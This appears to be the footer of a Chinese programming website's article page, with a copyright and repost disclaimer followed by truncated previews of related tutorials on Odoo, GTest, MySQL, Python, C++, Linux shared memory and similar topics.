本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/90280.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/90280.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/90280.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Odoo:免費開源的金屬制品行業ERP管理軟件

引言開源智造Odoo數字化解決方案專家團隊意識到&#xff0c;在當今全球市場中&#xff0c;將盈利能力和競爭力最大化的機會促使許多金屬制品制造商投資于推進業務發展的新技術。金屬制品會計軟件是企業用來處理他們業務和增加利潤的解決方案。某金屬制品加工工藝流程圖&#xf…

Ubuntu22.04配置GTest測試框架

前言 鴻蒙系統的代碼倉庫使用GTest作為單元測試的工具。特性開發時&#xff0c;需要寫demo以驗證開發思路。因此有必要搭建GTest開發環境配合鴻蒙特性開發做開發demo。 我測試環境是wsl2 Ubuntu22.04 LTS。 搭建過程 安裝必備C組件 sudo apt install -y unzip g gcc cmake …

學習日志15 python

1 filter() 函數filter(function, iterable)filter函數是python中的高階函數, 第一個參數是一個篩選函數, 第二個參數是一個可迭代對象, 返回的是一個生成器類型, 可以通過next獲取值。filter() 函數是 Python 內置的高階函數&#xff0c;其主要功能是對可迭代對象中的每個元素…

Linux 環境下安裝 MySQL 8.0.34 二進制 詳細教程 附docker+k8s啟動

文章目錄Linux 環境下安裝 MySQL 8.0&#xff08;二進制&#xff09;詳細教程準備工作安裝依賴包下載并解壓 MySQL下載 MySQL 二進制包解壓 MySQL移動目錄并創建 MySQL 用戶配置 MySQL配置數據目錄與日志目錄編輯配置文件 /etc/my.cnf初始化 MySQL 數據庫配置啟動腳本與環境變量…

HTML ISO-8859-1: 完全解析

HTML ISO-8859-1: 完全解析 引言 ISO-8859-1,又稱為 Latin-1,是一種廣泛使用的字符編碼標準,特別是在HTML文檔中。本文將詳細介紹ISO-8859-1編碼的特點、應用場景以及如何在使用HTML時正確地使用ISO-8859-1編碼。 ISO-8859-1編碼概述 定義 ISO-8859-1編碼是一種單字節編…

c++學習第3篇編輯器——centos7.9.2009系統離線安裝clion軟件并成功調試c++程序

遠程linux服務器安裝clion0 前提2個&#xff1a;1 下載CLion-2021.1.1.tar.gz安裝包2 上傳到linux系統并解壓3 修改linux系統里的/etc/ssh/sshd_config文件中的X11UseLocalhost 注釋去掉并設為no4 安裝xauth5 安裝MobaXterm軟件并使用ssh組件打開clion5.1 如果打不開clion,報錯…

20250722解決在Ubuntu 24.04.2下編譯RD-RK3588開發板的Android13出現找不到lz4的問題

20250722解決在Ubuntu 24.04.2下編譯RD-RK3588開發板的Android13出現找不到lz4的問題 2025/7/22 15:21緣起&#xff1a;在Ubuntu 24.04.2下編譯RD-RK3588開發板的Android13。 報錯&#xff1a;/bin/sh: 1: lz4: not found為了簡單起見&#xff0c;直接在 榮品的技術支持QQ群的 …

加載用戶設置時遇到錯誤找到一個帶有無效“icon“的配置文件。將該配置文件默認為無圖標。確保設置“icon“時,該值是圖像的有效文件路徑“

"C:\Users\Yourname\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\LocalState\settings.json 修改所有icon字段位none 如&#xff1a;{"guid": "{bf61c995-08cc-4a56-b781-5dba411ef19c}","hidden": false,"icon&…

如何提升連帶消費?從新零售“人-貨-場”模型拆解

目錄 一、分析背景 二、新零售分析思路和分析方法 1.具體分析思路 2.分析方法 三、新零售“人-貨-場”分析的實操步驟 1.數據收集 2.數據處理 3.圖表制作 四、總結 想讓線上引來的顧客&#xff0c;在店里多買幾件&#xff1f; 連帶消費可是實體店賺錢的“秘密武器”&a…

Java異常處理核心原理與最佳實踐

Java異常處理核心原理與最佳實踐 場景&#xff1a; 你開發的文件處理工具在讀取用戶上傳的文件時突然崩潰&#xff0c;控制臺拋出FileNotFoundException。用戶的操作被中斷&#xff0c;數據丟失。這種糟糕的體驗正是異常處理機制要解決的核心問題——如何在程序出錯時優雅地恢復…

Ubuntu 安裝 Odoo 17 詳細教程

Ubuntu 安裝 Odoo 17 詳細教程 本教程將指導您在 Ubuntu 系統上從源代碼安裝 Odoo 17。Odoo 是一款功能強大的開源 ERP 和 CRM 軟件套件。本教程適用于希望自行配置和管理 Odoo 環境的用戶&#xff0c;尤其適合開發者和系統管理員。 教程概述 本教程將涵蓋以下步驟&#xff…

鯤鵬·卓識系列2.45G傳感器型有源標簽:以國產化技術重塑安全監測與人員管理新標準

標題&#xff1a;鯤鵬卓識系列2.45G傳感器型有源標簽&#xff1a;以國產化技術重塑安全監測與人員管理新標準 隨著工業4.0和智慧城市建設的加速推進&#xff0c;安全生產、環境監測和人員管理成為各行業的核心需求。在軍事、工業、倉儲、能源等領域&#xff0c;溫濕度、煙霧、油…

騰訊云推出CodeBuddy:革新AI全棧開發體驗

文章目錄一、前言二、安裝流程三、CodeBuddy 核心功能3.1 AI輔助開發3.2 Coding Design Chat 三大模式3.3 Boost Prompt3.4 Figma 集成3.5 Componen 控件庫3.6 Config MCP3.7 Upload Images 圖片上傳和管理3.8 Preview功能3.9 Deploy 一鍵部署3.10 項目展示 | MCP生成小紅書卡片…

龍虎榜——20250723

上證指數放量收上影線&#xff0c;未站上3600點&#xff0c;個股下跌明顯多于上漲&#xff0c;指數有調整需求&#xff0c;注意短線風險。深證指數較昨日縮量收陰線&#xff0c;依然在5日均線上方運行&#xff0c;打到前期平臺高點有震蕩調整需求&#xff0c;注意風險。2025年7…

SpringBoot06-@ConfigurationProperties注解

ConfigurationProperties注解用于將配置文件&#xff08;application.properties 或 application.yml&#xff09;中的配置值&#xff0c;自動綁定到 Java Bean 對象上。1-1、基本用途比如我們在 application.yml 中有這樣一段配置&#xff1a;app:name: myAppversion: 1.0.0au…

oracle里面concat函數用法,oracle wm_concat函數用法-

wmsys.wm_concat函數&#xff0c;它的作用是以’,’鏈接字符 例子如下&#xff1a; SQL> create table idtable (id number,name varchar2(30)); Table created SQL> insert into idtable values(10,’ab’); 1 row inserted SQL> insert into idtable values(10,’bc…

C++中的list(2)簡單復現list中的關鍵邏輯

C中的list&#xff08;2&#xff09;//簡單復現list中的關鍵邏輯 前言 這一節的主要內容就是&#xff1a;簡單復現list中的關鍵邏輯。同樣的&#xff0c;我們這一節也是先粗略的看一眼源碼&#xff0c;結合源碼&#xff0c;邊理解邊復現。源碼我已經上傳到gitee&#xff0c;網…

Linux——System V 共享內存 IPC

文章目錄一、共享內存的原理二、信道的建立1.創建共享內存1.key的作用2.key的選取3.shmid的作用4.key和shmid的區別5.內存設定的特性6.shmflg的設定2.綁定共享內存3.代碼示例三、利用共享內存通信1.通信2.解除綁定3.銷毀共享內存1.命令行銷毀2.程序中銷毀四、共享內存的生命周期…

Python 程序設計講義(9):Python 的基本數據類型——復數

Python 程序設計講義&#xff08;9&#xff09;&#xff1a;Python 的基本數據類型——復數 復數與數學中的復數概念類似。在 Python 中&#xff0c;復數表示為 abj&#xff0c;其中&#xff1a;a為實數部分&#xff0c;b為虛數部分&#xff0c;j稱為虛數單位。復數必須包含虛數…

leetcode_121 買賣股票的最佳時期

1. 題意 有一個股價變化圖&#xff0c;你可以在一天買入&#xff0c;在未來一天賣出。 求通過這樣一次操作的最大獲利。 2. 題解 2.1 枚舉 直接枚舉&#xff0c;買入賣出的時間&#xff0c;肯定會超時啦~ 時間復雜度為O(n2)O(n^2)O(n2) 空間復雜度為O(1)O(1)O(1) class …